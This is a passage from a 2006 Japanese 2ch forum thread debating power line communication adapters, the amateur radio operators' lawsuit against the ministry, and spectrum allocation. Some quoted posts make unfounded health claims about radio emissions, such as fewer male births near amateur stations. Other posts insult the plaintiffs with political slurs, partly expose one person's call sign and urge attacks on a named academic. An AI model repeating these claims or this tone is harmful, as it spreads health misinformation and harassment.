一般人の反応はおおむねこんなもんだ↑

875 :名無しさんから2ch各局…:2006/12/05(火) 17:00:03
あーあ。もうだめだねPLC反対派は。完全に逝ってる。
自分しか見えないんだな。


876 :名無しさんから2ch各局…:2006/12/05(火) 17:01:18
ノイズに違いがあるんだ。PLC反対は終わり。


877 :名無しさんから2ch各局…:2006/12/05(火) 17:14:20
あー、だめだ。生活かかってるやつは本当に必死だな。
まあ、PLCなんかダメだって分かってるんだから、
次の職場を早く探せよ。

878 :名無しさんから2ch各局…:2006/12/05(火) 17:15:40
池田信夫って何してる人?

879 :名無しさんから2ch各局…:2006/12/05(火) 17:21:22
やる気満々です
http://plcsuit.jp/


880 :名無しさんから2ch各局…:2006/12/05(火) 17:27:15
さて帰るか


881 :名無しさんから2ch各局…:2006/12/05(火) 17:28:18
>最近環境問題が厳しくなってきたが意外と忘れているのが電波(電磁波)による人体への悪影響だ。
>元々電波というものは目に見えないものだけにそれによる被害があっても分からない場合が多い。
>電波は超音波とX線の間にあるものでそれを使って通信が行われているのは良く知られている。
>社会にとって通信は不可欠なものであることからその利用が優先されてきたが最近になって携帯電
>話が普及してきてそれによる問題がクローズアップされてきたのはご存知だろう。
>電波には微小なものから放送局のような強力なものまでいろいろある。その周波数と扱う電力によ
>って人体や他の電子機器に与える影響には差があるようだ。
>最近話題になっているPower Line Communication(電力線通信)いわゆるPLCと呼ばれるものだが
>、日本で許可されて普及し始めているようだ。
>これについて厚生労働省は人体やペースメーカーなどに悪影響を及ぼす可能性もあると指摘してい
>る。さらに環境問題の面などから大学教授らが運用許可の取り消しを求めて行政訴訟を行っている。
>話によるとPLCというものは他の無線通信に悪影響を与えるほか人体や医療機器に対しても影響を
>及ぼすとのことだ。
>このような問題のある電波が社会にばらまかれたのであれば市民生活が危険に晒されることになる
>というものだ。我々としてもこれが普及して街中で使われることを規制してほしいと思うのは自然
>であると考える。



882 :名無しさんから2ch各局…:2006/12/05(火) 17:28:56
>携帯電話は最も影響のあるのは使用者本人であるから病院や人ごみの場所以外で使うのであればそ
>れは自己責任と言えるがPLCは一般住宅などで使われて電波が拡散されるものだという。
>この問題が伝えられてから電波で検索してみて驚いたものを発見した。日本におけるアマチュア無
>線の活動である。今話題になっている携帯電話で扱う電力は数十ー数百ミリワットであるし、PLC
>に至っては10ミリワットだそうだ。ところがアマチュア無線に許可されている電力はなんと1000ワ
>ットだということらしい。そんなアマチュア無線が日本では何と60万人もいることだ。その多くが
>市街地で電波を出しているという。
>1000Wと言えばPLCの10万倍の電力だ。さらに検索してみたら高性能アンテナを使うことによりその
>エネルギーを100-10000倍にも増力して特定方向に向けて発射しているらしい。単純計算をしても携
>帯電話の1000万倍ものエネルギーを放射していることになる。
>検索してみて驚いた記事を見つけた。アマチュア無線局の周辺では男子が生まれることが非常に少
>ないという事実があるらしい。昔、放送局に勤務している人には女子が生まれるという話は聞いた
>ことがあるが、アマチュア無線とは初耳だ。しかしここまで大きな電力を扱うとなればそれも頷ける。
>ではどうしてPLCが問題になってアマチュア無線が問題にされないのか不思議だったので伝手を頼っ
>て免許している総務省の出先機関に問い合わせてみた。
>答えはこうだ。アマチュア無線の運用においても他の通信、電子機器さらには人体などへの影響が
>起きないように基準を設けてあるという。 電波防護指針という基準でこれに合致しなければ許可
>されないことになっているという。さらに調べてみたら、この防護指針は全ての電波エネルギーが
>アンテナから発射される場合であって一般のアマチュアは未熟な技術力が故にアンテナ以外の経路、
>即ち電線や電話線などを伝って電波が撒き散らされているという。



883 :名無しさんから2ch各局…:2006/12/05(火) 17:29:08
>>880
先輩俺残業っす

884 :名無しさんから2ch各局…:2006/12/05(火) 17:29:39
>この不要電波によって近隣住民の使っているテレビや音響機器さらにはコンピュータなどに悪影響
>を及ぼしているという。そのエネルギーはPLCなどとは比較にならない大きさで人体への影響は大
>きいと言われている。
>更にアマチュアが使うトランシーバは出力も携帯電話の10-100倍にもなりこれを近くで使われて心
>臓ペースメーカーが誤動作して大事件になったこともあったというのには驚いた。
>この件も総務省に問い合わせてみたら、全ての無線局はアンテナに効率良く電波を送り込むことが
>法律で定められており、不整合されたアンテナを使って近隣住民に悪影響を与えた場合は処罰の対
>象になるのでそのような事例があれば報告して欲しいとのことだった。
>何れにしろPLCでさえここまで問題にされているのに既に60万人がこのような大電力通信がアマチュ
>ア無線と称して日夜市街地から電波を発射していることを容認することができるのだろうか。環境
>問題さらには生存権の問題として世間にこの事実を公知させるのは我々の務めだと思っている。
>そこでPLC問題で訴訟している訴訟団を探し当てて連絡を取ろうとしてビックリした。
>なんとPLCが環境に悪影響を与えると訴えている訴訟団のメンバーの殆どがアマチュア無線家だとい
>うことだ。いったいこれは何たることか、全く理解できないどころか呆れてしまった。
>今後この訴訟を見守りながら我々もアマチュア無線を環境問題として提訴する方向で活動したいと
>考えている。



885 :名無しさんから2ch各局…:2006/12/05(火) 17:30:39
毎日帰る前にアップしておこう。


886 :名無しさんから2ch各局…:2006/12/05(火) 17:37:36
>>881のソースはどこだ?

887 :名無しさんから2ch各局…:2006/12/05(火) 17:56:48
有線から入ってくるノイズは微量でもいとも簡単に機器は誤動作する
んだが。無線で機器を誤動作させようと思ったらものすごく近い距離
で電波を出すかキロワットの出力が必要なんだけどね。

無線による誤動作は想定されて設計されているけどACラインからの
ノイズによる誤動作は想定されてないんだよ。そこが重要なの。

888 :名無しさんから2ch各局…:2006/12/05(火) 18:04:47
ところで,先週,月曜日になったら厚生労働省に「PLCは医療機器に影響を与えない」と
電話すると豪語していた奴がいたが,どうなったんだ?

言いっぱなし?
法螺吹き?

889 :名無しさんから2ch各局…:2006/12/05(火) 18:06:53
電力線通信(PLC)がアマチュア無線の電波を妨害するとして、
アマ無線ユーザーがPLC解禁の取り消しを求めて行政訴訟を起こすという。
この問題については、もう10年近くいろいろな検討が行われてきた。
実用上は問題がないことはわかっていたが、アマ無線側の主張する「古い機材に影響がある」
「航空・船舶無線で、もしものことがあったらどうするのか」などの脅し文句で解禁が遅れていた。

行政訴訟で原告側は、「無線LANなどのインターネット接続が普及し、
PLCを解禁する必要性がない」と主張しているが、インターネットで必要なくなったのはアマ無線のほうである。
法廷で争えばはっきりするが、彼らのもっている周波数は不可侵の財産権ではなく、
5年間の免許で与えられた暫定的な権利にすぎない。
免許を更新しないことは、行政の裁量の範囲内である。
総務省は、この機会にアマ無線への周波数割り当てを抜本的に見直し、特に1.2GHz帯を開放すべきだ。

ttp://blog.goo.ne.jp/ikedanobuo/d/20061205

890 :名無しさんから2ch各局…:2006/12/05(火) 18:11:33
ご使用上の注意(必ずお読みください)

●電力線通信は、既存の電力線(屋内電気配線)を利用してデータ通信を行うため、他の電化製品に影響を
与えたり、受けたりすることがあります。

* PLC製品は以下の電化製品の電気ノイズ源となる場合があります。
短波ラジオ/調光機能付き照明器具やタッチランプ/通信方式が異なるPLC製品/無線を利用した
遠隔操縦機器/ワイヤレスマウスなど
* PLC製品の電源プラグは壁のコンセントに直接差すことをおすすめします。
* PLC製品をバックアップ電源装置(無停電電源装置(UPS)など)に接続しないでください。
* PLC製品は、雷サージ対応のテーブルタップ(OAタップ)に接続しないでください。

●電化製品には電気ノイズが発生するものがあり、電気ノイズが電力線を通ると、PLC製品の性能や通
信速度に影響を与えることがあります。

* 電気ノイズが発生しやすい電化製品には、ノイズフィルターを付けることをおすすめします。
* 電気ノイズが発生しやすい電化製品は、例えば以下のようなものです。
充電器(携帯電話の充電器を含む)/ヘアードライヤー/掃除機/電気ドリル/調光機能付き
照明器具やタッチランプなど

●電波法により、PLC製品の使用は屋内に限定されています。

●PLC製品は医療機器の近くでの設置や使用をしないでください。本製品からの高周波信号が、
医療機器に影響を及ぼすことがあり、誤動作による事故の原因になります。

●PLC 製品はアマチュア無線、短波放送、航空無線、海上無線、電波を利用した天文観測などと
同じ周波数を使用した高周波利用設備であり、これらの無線設備の近傍で使用した場合、これらの
業務の妨害となる可能性があります。もし、継続的かつ重大な妨害の原因が本製品であると確認
された場合は、電波法に基づき妨害を除去する必要な措置(全てのPLCアダプターを電源コンセント
から抜くなど)をとることを総務大臣から命じられることがあります。


891 :名無しさんから2ch各局…:2006/12/05(火) 18:15:49
アマと同じようにPLCも免許制じゃなきゃな。
アマはまわりに障害出せば、それの除去ができるまで差し止められる。
PLCなんか店で買ってきてそのままおかれるから、誰がどこに置いたのかも
ちっともわからん。障害の除去をどうやってさせるのかもわからんままGOした
わけだから気が狂っている。

なにせ、やってみなくちゃわからない。問題があればそれから手直し…。
とメーカー側が言ってしまう位だからのぉ。


違法アマハケーンなら報告だせばいい。
免許制度って義務とか責任を負うものだんだから。

892 :名無しさんから2ch各局…:2006/12/05(火) 18:28:30
>>887
無線やったことないでしょ。

893 :名無しさんから2ch各局…:2006/12/05(火) 18:37:48
>>887
君に質問

1:SWRが1:1.5の場合アンテナに供給されずに他の伝送経路から放出
される可能性のある電力は何%か。
  その場合想定される伝送経路は何か。

2:アンテナから1/2波長離れた場所に平行してある電力線に電力線に
  は電波エネルギーはどの程度発生するか。
  これはPLCによるものより大きいか小さいか

出力は100Wとする


894 :名無しさんから2ch各局…:2006/12/05(火) 18:39:47
アマチュア無線家の9割は状況を見守っている。
商売でメリットのある草野と政府と対峙することで名を上げたい青山だけが騒いでいる。
あとの100人は金ずる。


895 :名無しさんから2ch各局…:2006/12/05(火) 18:41:06
青山さんって武蔵小山周辺では鼻つまみ者なんでしょ。

896 :名無しさんから2ch各局…:2006/12/05(火) 18:52:38
アマ無線の免許持ってる人にまず無料かお試し価格かで安く提供してみればよかったかもね

 いきなり邪魔なモノを断りもなく全国発売ってのは腹に据えかねるわな・・・
 (それともダメ出しされることが目に見えていたとか?)

897 :名無しさんから2ch各局…:2006/12/05(火) 18:52:58
>>895
そうではなくいわゆる部落開放と左翼には関わるなということで皆さん引いているんですよ。


898 :名無しさんから2ch各局…:2006/12/05(火) 18:55:46
http://www.incidents.gr.jp/9908/ochiai990817/kaido.htm
社民党の福島のダンナが弁護士だよ。


899 :名無しさんから2ch各局…:2006/12/05(火) 18:59:02
もう消えてなくなる社民党系の弁護士が名を売るためにやってるんでしょ。
ばかばかしい。
アマチュア無線も政治に巻き込まれたんだよ。

900 :名無しさんから2ch各局…:2006/12/05(火) 19:00:40
>>898
何故イデオロギーに利用されずにできなかったのかなあ。
もし環境問題だったら一番危ないのがアマチュア無線でしょ。

901 :名無しさんから2ch各局…:2006/12/05(火) 19:01:07
>>889
> 免許を更新しないことは、行政の裁量の範囲内である。

合理的な理由があればね。アマチュア無線が法律で認められている以上、
合理的な理由もなく免許を更新しないことは、裁量の範囲を逸脱していますね。
合理的な理由というのは、法に定める技術要件を満たさないとかいったことですよ。

> 総務省は、この機会にアマ無線への周波数割り当てを抜本的に見直し、特に1.2GHz帯を開放すべきだ。

周波数割当が世界的に決められたものだということも知らんのか、このオッサンは。

902 :名無しさんから2ch各局…:2006/12/05(火) 19:02:39
>>893
ほうほう。887に答えさせて、挙げ足を取ろうとしているようだが、
熱に変わる分は考えなくていいのか?

903 :名無しさんから2ch各局…:2006/12/05(火) 19:05:30
問題は電波の強さではなく、本来の使用者がいる周波数帯に、
「微弱だからいいよね」などとふざけたことを言って、
かなり強い不要な電波が混入をさせる欠陥品を作ったってことさ。

904 :名無しさんから2ch各局…:2006/12/05(火) 19:06:36
>>901
無知にもほどがある。いいかい1.2が国際的に割り当てられている
からといって国内法で割り当てなければいけないなどと決まっては
いない。
アマチュアに割り当てなければならないとか他の業務に割当てられ
ないとどこの法律で決まっているんだ。

905 :名無しさんから2ch各局…:2006/12/05(火) 19:09:02
>>903
であれば電波法でなくほかの法律だぞ。
もうPLC反対派というか左翼社民党訴訟団は常軌を逸してる。
まあ、彼らに常識なんて無意味なんだろうけどね。


906 :名無しさんから2ch各局…:2006/12/05(火) 19:10:01
とうとうアマチュア無線も政治のお遊びの材料になったんだね。

907 :名無しさんから2ch各局…:2006/12/05(火) 19:10:48
訴訟団から辞退してよかった。俺は自民党員だしな。


908 :名無しさんから2ch各局…:2006/12/05(火) 19:14:22
>>904
ほうほう。条約を無視しても構わないのであれば、
勝手に割り当てられるんでしょうがねえ。

909 :名無しさんから2ch各局…:2006/12/05(火) 19:15:34
ブサヨ?

910 :名無しさんから2ch各局…:2006/12/05(火) 19:16:52
>>904
WRCは無視ですか

911 :名無しさんから2ch各局…:2006/12/05(火) 19:20:56
産業優先社会の配当から最も縁遠いはずの低所得の底辺リーマンや失業者が、
2ちゃんねる中毒となり保守信奉に走り、産業優先社会を崇拝するってのは、すげえ謎だよね♪


912 :名無しさんから2ch各局…:2006/12/05(火) 19:23:22
>>904
周波数の分配等を決めるWRCの無線通信規則は、ITU連合国に対して法的拘束力
があります。まあ、必ず割当てなければならないと直接に定めた国内法は無いようですが、
その場合、ITUから脱退しないといけないでしょうな。あんた馬鹿ですね。

913 :名無しさんから2ch各局…:2006/12/05(火) 19:24:07
>>904の無知ぶりにワロタ

914 :名無しさんから2ch各局…:2006/12/05(火) 19:28:16
ちゃんと条約を読んでみろ。英語読めるかな?
じゃあ日本の電話級はどうしてだ?
http://www.tele.soumu.go.jp/cgi-bin/warisearch.cgi?BLOK=2&FLOW=1200&HZ=3
これを見ろ。どこにアマチュアに限るなんて書いてあるんだ。

915 :名無しさんから2ch各局…:2006/12/05(火) 19:32:17
>>904
アマチュア業務に割り当ててはいけないとどの法律で決まっているんだ?

916 :矛盾:2006/12/05(火) 19:33:59
>>545
故事にあった「矛盾」と同じ話だ。

ある電気屋が、世界中のラジオが聞けるというクーガーを売っておりました。
クーガーの説明が終わると、どんな短波の電波を消してしまう・・・・

こりゃPLCの方が強いから「故事」の、真似した、とは言えなかったよ


917 :名無しさんから2ch各局…:2006/12/05(火) 19:35:22
>>914
周波数分配は主管庁の専権事項。
国際周波数分配表との整合性を取りつつ国内の事情を勘案して国内周波数分配を行うのは
どの主管庁でもやっていること。

キミはあまりにも知らなさすぎる。

918 :名無しさんから2ch各局…:2006/12/05(火) 19:39:19
おやおや、2ちゃん名物の論点ずらしですか。「アマチュアに割り当てなけれ
ばならないとか他の業務に割当てられないとどこの法律で決まっているんだ」
とあなたは書いたのですよ。だから、それはWRCの無線通信規則で定められて
おりますと答えたわけ。その割り当ては「アマチュアに限る」とは私は書いて
いない。二次業務として他の業務に割り当てることも可能だが、二次業務は一
次業務に遠慮しなくてはいけないのだ。だが、今回の問題は、そんな問題じゃ
ない。PLCとかいう妨害電波発生装置は、二次業務の無線局でもないから、電
波法にもとづく取締りもできないのよ。

919 :名無しさんから2ch各局…:2006/12/05(火) 19:39:35
>>917
>>912には反論できないんだねwwww
バーカ

920 :名無しさんから2ch各局…:2006/12/05(火) 19:42:24
>>917
そう、「国際周波数分配表との整合性をとりつつ」ってとこが重要でしょ。
細かいところは、国内事情に合わせてやればいいけど、勝手に決めていいとは書
かれていないですね。アマチュアから取り上げて、国際的に決められていない業務
に使ってよしとは書いていない。

921 :名無しさんから2ch各局…:2006/12/05(火) 19:45:33
>>917
馬鹿って言われて頭に血がのぼったのかな。一晩ゆっくり頭を冷やせよ。

922 :名無しさんから2ch各局…:2006/12/05(火) 19:46:49
PLCも免許制にすればいいジャン

923 :名無しさんから2ch各局…:2006/12/05(火) 19:49:28
>889のサイトだけど

「ブログ作成者から承認されるまでコメントは反映されません」

だからマンセーコメントばかりなのか納得

924 :名無しさんから2ch各局…:2006/12/05(火) 19:52:34
こいつは身分を明らかにしている大学教員なんだから、攻撃の方法は別にあるでしょ♪
その肩書きであきらかに間違った発言をしてるんだしねぇ。

925 :名無しさんから2ch各局…:2006/12/05(火) 19:54:50

PLCを購入したいな〜〜 http://m777.blog37.fc2.com/blog-entry-140.html

926 :名無しさんから2ch各局…:2006/12/05(火) 19:56:46
発売日の直前にマスコミに登場って事ね。
いいネタだな。

927 :名無しさんから2ch各局…:2006/12/05(火) 20:13:02
>>925

PLCアダプターでなくPLCを購入??

928 :名無しさんから2ch各局…:2006/12/05(火) 20:33:50
アイオーデータのPLCってフレキシブルノッチついてないじゃんよ

929 :名無しさんから2ch各局…:2006/12/05(火) 20:58:29
たった100人の馬鹿のおかげでアマチュア無線やってるヤシのイメージがまた
落ちたな。 

930 :名無しさんから2ch各局…:2006/12/05(火) 21:02:09
んなぁこたーない
色んな人がいて、相互に関係しあいながら、よりよい方向に向かっていけばよい

931 :名無しさんから2ch各局…:2006/12/05(火) 21:08:21
>>921
頭に血が上ったのは>>919だと思うよ。
あまりにも悔しかったから「バーカ」と捨て台詞を吐いたわけだ。

932 :名無しさんから2ch各局…:2006/12/05(火) 21:32:04
裁判はどうせ負けるだろ。

933 :名無しさんから2ch各局…:2006/12/05(火) 21:56:34
【裁判】 "コンセントでインターネット"の電力線通信に「待った」…アマ無線愛好家ら114人、総務省を提訴へ★2
http://news19.2ch.net/test/read.cgi/newsplus/1165322529/

おいおいPLC反対派さんよう
負けてるぞ圧倒的に・・・w

934 :名無しさんから2ch各局…:2006/12/05(火) 22:03:40
>>931
そうかな。917は必死になっているようだけどねえ。ゲラゲラ。

935 :名無しさんから2ch各局…:2006/12/05(火) 22:11:07
裁判に負けてもいいんだよ。
何故か?彼らは自分の名前がマスコミに載ることで価値があるんだからさ。
いいかい社民党なんてもう消えた政党だよ。それの党首のダンナが仕事を
してることが載ったんだからそれでいいんだよ。
君たちはもう少しマスコミの意味を知るべきだな。
真実だとか正義をマスコミに求めているなんてアホだよ。


936 :名無しさんから2ch各局…:2006/12/05(火) 22:12:12
社民党の政治宣伝に使われた無線キチガイもかわいそうになあ。


937 :名無しさんから2ch各局…:2006/12/05(火) 22:12:53
草野さんもイデオロギーは左だったのか。

938 :名無しさんから2ch各局…:2006/12/05(火) 22:14:17
池田信夫 blog
アマチュア無線って必要なのか
http://blog.goo.ne.jp/ikedanobuo/e/a3648c5745986bf6b6dd835dd635f5f6

939 :名無しさんから2ch各局…:2006/12/05(火) 22:14:57
笑うことはないがアマチュアの殆どが容認しているのにこの100人が左翼の洗脳に負けて恥を
晒しているとはなあ。いずれコールがばれたらお笑いだな。


940 :名無しさんから2ch各局…:2006/12/05(火) 22:16:15
大丈夫、訴状には全員の名前が出ます。
これは公表しても問題はありません


941 :名無しさんから2ch各局…:2006/12/05(火) 22:17:48
ネズラ


オーバーパワー一同
4アマ

こんなリストかな

942 :名無しさんから2ch各局…:2006/12/05(火) 22:18:04
青山さんの隣家にアンテナを建てさせた顛末を見れば今の行動と逆だということよ
ご都合主義の左翼なのか。


943 :名無しさんから2ch各局…:2006/12/05(火) 22:19:48
私は今回の訴訟で医療機器への問題によって勝訴することを願っている。
そうであればアマ無線も同じように問題にされいずれ禁止にされるからだ。


944 :名無しさんから2ch各局…:2006/12/05(火) 22:22:16
これで久々にアマチュアもメジャーになったな。でも社会的評価は落ちたよ。
全共闘あがりの武蔵工大教授さんのせいだ。
コールはJA1I*Y。


945 :名無しさんから2ch各局…:2006/12/05(火) 22:23:46
女子高生「アマチュア無線?インターネット使えばいいのに」

946 :名無しさんから2ch各局…:2006/12/05(火) 22:25:30
これで社民党党首のダンナが恥をさらせばいいんだね。


947 :名無しさんから2ch各局…:2006/12/05(火) 22:27:23
凄く疑問なんですけどPLCの問題で何故政治的な思想を持つ弁護団
を使わなくてはならなかったんですか。
これもある意味での政治活動ですか。


948 :名無しさんから2ch各局…:2006/12/05(火) 22:30:32
女子高生「アマチュア無線愛好家?生きた化石って言えばいいのに」

949 :名無しさんから2ch各局…:2006/12/05(火) 22:42:48
>>939
俺は容認してないよ。「みんなが賛成している」わけないじゃん。

950 :名無しさんから2ch各局…:2006/12/05(火) 22:44:16
>>945
そんなこと言ってる女子高生は、「インターネット」って何かわかってない
から心配するな。「インターネット? それってホムペでしょ」そんなもんさ。

951 :名無しさんから2ch各局…:2006/12/05(火) 22:50:06
【7036使用料】7036総合スレ34回目【強制徴収】
http://hobby8.2ch.net/test/read.cgi/radio/1148236570/
みなさんこちらの住人でつか?wwwww

952 :名無しさんから2ch各局…:2006/12/05(火) 23:12:54
ご使用上の注意(必ずお読みください)

●電力線通信は、既存の電力線(屋内電気配線)を利用してデータ通信を行うため、他の電化製品に影響を
与えたり、受けたりすることがあります。

* PLC製品は以下の電化製品の電気ノイズ源となる場合があります。
短波ラジオ/調光機能付き照明器具やタッチランプ/通信方式が異なるPLC製品/無線を利用した
遠隔操縦機器/ワイヤレスマウスなど
* PLC製品の電源プラグは壁のコンセントに直接差すことをおすすめします。
* PLC製品をバックアップ電源装置(無停電電源装置(UPS)など)に接続しないでください。
* PLC製品は、雷サージ対応のテーブルタップ(OAタップ)に接続しないでください。

●電化製品には電気ノイズが発生するものがあり、電気ノイズが電力線を通ると、PLC製品の性能や通
信速度に影響を与えることがあります。

* 電気ノイズが発生しやすい電化製品には、ノイズフィルターを付けることをおすすめします。
* 電気ノイズが発生しやすい電化製品は、例えば以下のようなものです。
充電器(携帯電話の充電器を含む)/ヘアードライヤー/掃除機/電気ドリル/調光機能付き
照明器具やタッチランプなど

●電波法により、PLC製品の使用は屋内に限定されています。

●PLC製品は医療機器の近くでの設置や使用をしないでください。本製品からの高周波信号が、
医療機器に影響を及ぼすことがあり、誤動作による事故の原因になります。

●PLC 製品はアマチュア無線、短波放送、航空無線、海上無線、電波を利用した天文観測などと
同じ周波数を使用した高周波利用設備であり、これらの無線設備の近傍で使用した場合、これらの
業務の妨害となる可能性があります。もし、継続的かつ重大な妨害の原因が本製品であると確認
された場合は、電波法に基づき妨害を除去する必要な措置(全てのPLCアダプターを電源コンセント
から抜くなど)をとることを総務大臣から命じられることがあります。

953 :名無しさんから2ch各局…:2006/12/05(火) 23:13:26
俺は訴訟に加わったけど左翼に洗脳されてもいないし
名声が欲しいわけでもない。

ただPLCの認可の過程があまりに横暴だったので参加しただけだ。

954 :953:2006/12/05(火) 23:14:12
このスレッドは953を超えました。
もう新しいスレッドを立ててはいけませんです。。。

955 :名無しさんから2ch各局…:2006/12/05(火) 23:37:07
JARLは組織である。そこには7万余の会員が所属する。組織は民主的に運用されるように定款に
定められている。その最高責任者である会長がPLCの解禁を承認した。これは機関決定である。
これを不満とした約50人の会員が会長の行動は会員の意志を無視した行動だと会長の除名を
求めた。理事会はこれを粛々と受け止め定款に沿って審議し理事は全会一致でこの除名を棄却
した。理事のうち10名は各地方本部を代表している人であり、彼らもこの除名を棄却したこと
で会長を支持したことになる。
即ち、全国の地方本部も会長を支持したと言えるのである。しかしこれに異を唱える会員の一
部は総務省に対してPLC許可の取り消しを求める行政訴訟を行った。もしこの訴訟に加わった
116人のうちJARL会員がいればそれは組織として決定して行動したことに反抗するものである。
自民党の優勢民営化にも見られるようにこの行為は組織に対しての反逆行為である。
然るに、JARLは他の会員の意志を尊重しこれら訴訟に加わった会員を直ちに除名すべきである。
現在のところ地方本部さらには各支部にあっても反組織行動はみられない。
であれば7万余の会員の大多数は今回の会長の行動を支持し訴訟を起した会員を認めることは
ない。日本は民主主義国家でありJARLもまた民主的組織である以上組織の意に背く行動をして
いる会員には厳重な処置がされて当然である。
今のところ会員のうち約150人しがこの反組織行動に加担をしていない。これは全体の0.2%に
しか過ぎないのである。

956 :名無しさんから2ch各局…:2006/12/05(火) 23:55:37
このスレッドも奇人変人大集合ですね。

957 :名無しさんから2ch各局…:2006/12/06(水) 00:42:04
>>955
>その最高責任者である会長がPLCの解禁を承認した。

>理事のうち10名は各地方本部を代表している人であり、彼らもこの除名を棄却したこと
で会長を支持したことになる。

そう。つまりJARLは組織ごともう叩きつぶしてもいいということ。
次の理事選見てろ。

958 :名無しさんから2ch各局…:2006/12/06(水) 00:47:17






とりあえず無知で低学歴で社蓄でアマ無線の存在すら知らない99.3%の日本国民を納得させてみれ











959 :名無しさんから2ch各局…:2006/12/06(水) 00:49:06
>>957
と言いながら、結局は何もできず原さんは会長を続ける
理事達も入れ替え無し、>>957は無力さを晒すのであった


960 :名無しさんから2ch各局…:2006/12/06(水) 00:52:47
このスレで高学歴とは「文2」卒業が条件でつ
ぶんに卒でつよ?
ぶ・ん・に  WWWWWWWWWW
中退の間違いかもしれませんがWWWWWWWWWWWWWWWWWWW

961 :名無しさんから2ch各局…:2006/12/06(水) 00:53:03
>>959
まぁその前にJARLの組織率自体が激減して、自壊するわなぁ〜

962 :名無しさんから2ch各局…:2006/12/06(水) 01:07:43
>>960
文3 文1 ネコ 文2 の文2ですか?

963 :名無しさんから2ch各局…:2006/12/06(水) 01:09:46
コノサキ文アリ の文

964 :名無しさんから2ch各局…:2006/12/06(水) 01:14:43
http://blog.goo.ne.jp/ikedanobuo/d/20061205

いずれにしても↑この記事への反論はきちんとしておこうよ。余りにも事実誤認が
酷すぎる。事実を曲解しての意見だけにたちが悪い。正論で論破しよう。

965 :名無しさんから2ch各局…:2006/12/06(水) 01:15:25
ビジネスニュース+から来ました。
会社への導入を考えていて、このスレもざっと読みましたが、推進派の人たちの
説得力の無さと無節操な荒らし行為に呆れ果て、それだけで使う気が失せました。
こんな人たちが推進している機械など、絶対にまともなものである筈が無い。

反対派の方、理は確実に貴方方ににあります。
頑張って下さい。

966 :名無しさんから2ch各局…:2006/12/06(水) 01:17:55
理1入で工学部金属材料学科卒の漏れが来ましたよ
卒業間近は4号館に寝泊りし、朝は通称ハト小屋でハトに餌やっとりますた

967 :名無しさんから2ch各局…:2006/12/06(水) 01:37:22
>>964
東大経済を卒業した人なんだね。このブログの作者。
経済学者じゃ,無線通信のド素人だわ。

968 :名無しさんから2ch各局…:2006/12/06(水) 01:43:40
>>964
>>923

969 :名無しさんから2ch各局…:2006/12/06(水) 01:52:13
>>924

970 :名無しさんから2ch各局…:2006/12/06(水) 03:10:00
いや、まともな学者ならきちんと説明すれば理解してもらえる部分もあると
思ったものですから。ですので、感情的なコメントをしないできちんと正論
を出せば逆に味方になってもらえる部分もあるかと思った訳です。

無駄かもしれませんが、コメントを取捨選択するくらいなら、まともな反論は
受ける度量くらいはあるんではないかと。

971 :名無しさんから2ch各局…:2006/12/06(水) 03:17:02
ないない。
確かに一方的にアマチュア無線家を切って捨てず、
これまでの業績に理解を示している部分もある。
しかしそんなものは姑息な予防線だ。
この男は御用学者の一角だ。属性の基本が社畜サイドの人間。
話し合いは不要だ。潰すあるのみ。

972 :名無しさんから2ch各局…:2006/12/06(水) 03:38:17
女子高生「PLC? FON使えばいいのに」

http://d.hatena.ne.jp/keyword/FON
http://blog.fon.com/jp/
http://japan.cnet.com/news/com/story/0,2000056021,20337376,00.htm
http://japan.cnet.com/special/story/0,2000056049,20102387,00.htm
http://japan.cnet.com/news/media/story/0,2000056023,20293447,00.htm

973 :名無しさんから2ch各局…:2006/12/06(水) 06:44:36
コメントしてやれ
http://oyajinews.blog14.fc2.com/blog-entry-617.html

たしかに電波の漏洩という影響はあるだろうとは思う。
しかし、電波は有限の資源でありいかに効率的に使うかが一番大切な部分だろう。
PLCが既存の無線に影響与えるかもしれないがそれらは代替の手段があるように思える。

PLC反対に一番声を上げているのがアマチュア無線家というのを聞く。
インターネットのインフラは国家的な戦略が必要で日本が先進国としての技術を発展させるのにはPLCも必要だと思う。
ブロードバンド世界一にならなければ日本は世界に売る技術も開発することができないだろう。

974 :名無しさんから2ch各局…:2006/12/06(水) 06:54:05
コメントしたがすぐには反映されない設定だな。

975 :名無しさんから2ch各局…:2006/12/06(水) 07:25:01
静かだな、まだ社畜(?)は出社していないのか?

本日のPLC予報

・今日もこのスレは大荒れでしょう。
・新しいスレを準備する必要があります。



976 :名無しさんから2ch各局…:2006/12/06(水) 08:07:45
やはり反対派が環境ゴロだったところが痛い。

977 :名無しさんから2ch各局…:2006/12/06(水) 08:08:00
おはよう!今日も1日がんばろー


978 :名無しさんから2ch各局…:2006/12/06(水) 08:08:42
>>975
さすが環境ゴロ。


979 :裏切り者:2006/12/06(水) 08:42:11
>アマチュア無線と社会という関わりは時代と共に変化してきています。
>50年以上前であればアマチュアが新しい通信技術を発見したことなども
>あり周波数を割当てておくことは社会も認めていたことです。
>しかし現在においてアマチュアが社会に果たす役割はあるのでしょうか。
>諸外国とは違い日本のアマチュアは災害などの援助、協力は法律ではそ
>の目的とはされていません。
>これは致命的なものであり、これによる担保が無い日本のアマチュアは
>その存在理由すら完全に失おうとしています。
>社会がその必要性を認めておらず、さらにアマチュア局は年々減少して
>いるのですから今我々の利用に供する周波数が削減されてもそれは十分
>合理的であると説明がつきます。
>少なくとも2.4GHz以上の周波数にあってはもはやその利用率は1/100以下
>であり周波数の効果が類似する周波数においては他の業務に再配分する
>ことは国の行政としては当然だと思います。
>1.2GHzにおいては現在も移動運用に限っては1Wという規定があり、これが
>利用率を下げている一因であることも考えられます。すでに近接する自衛
>隊のレーダー施設も殆どなくなり機器も高性能になったことからここも最
>低でも10W運用が可能な法的措置が求められます。
>そのようにしても利用効率の向上が見られないのであれば再配分、削減も
>致し方ないと思います。

980 :裏切り者:2006/12/06(水) 08:42:49
>さて、社会の周波数ニーズはHFから離れ、HFについてはもはや効果的な利
>用方法がなくある意味ではアマチュアに開放してもさしつかえないという
>状況になりつつあります。
>このようにHF帯はもはやキャリアを使った旧来の通信の時代から、データ
>としての周波数へと変化しているのです。
>社会はもはやHFはそういうものに使うという認識に変化してきていること
>を我々も認識しなければなりません。
>駄々っ子のように一切のノイズの元は排除するという考えでは社会と共生
>していくことは難しいでしょう。
>それこそ、社会が我々に課す条件においてアマチュアの知恵で利用するこ
>とも求められるのです。既にHFにおいてもデジタル通信が行われ悪いノイ
>ズ条件の中でも安定した交信ができる技術が開発されました。
>アマチュアは進歩的でなければなりません。今更CWそしてSSBという旧来の
>通信手段にしがみつくのではなく新しいディジタル技術に挑戦し、PLCの
>ノイズさえも打ち破ってDX通信を実現させてこそアマチュア無線と言える
>のでしょう。
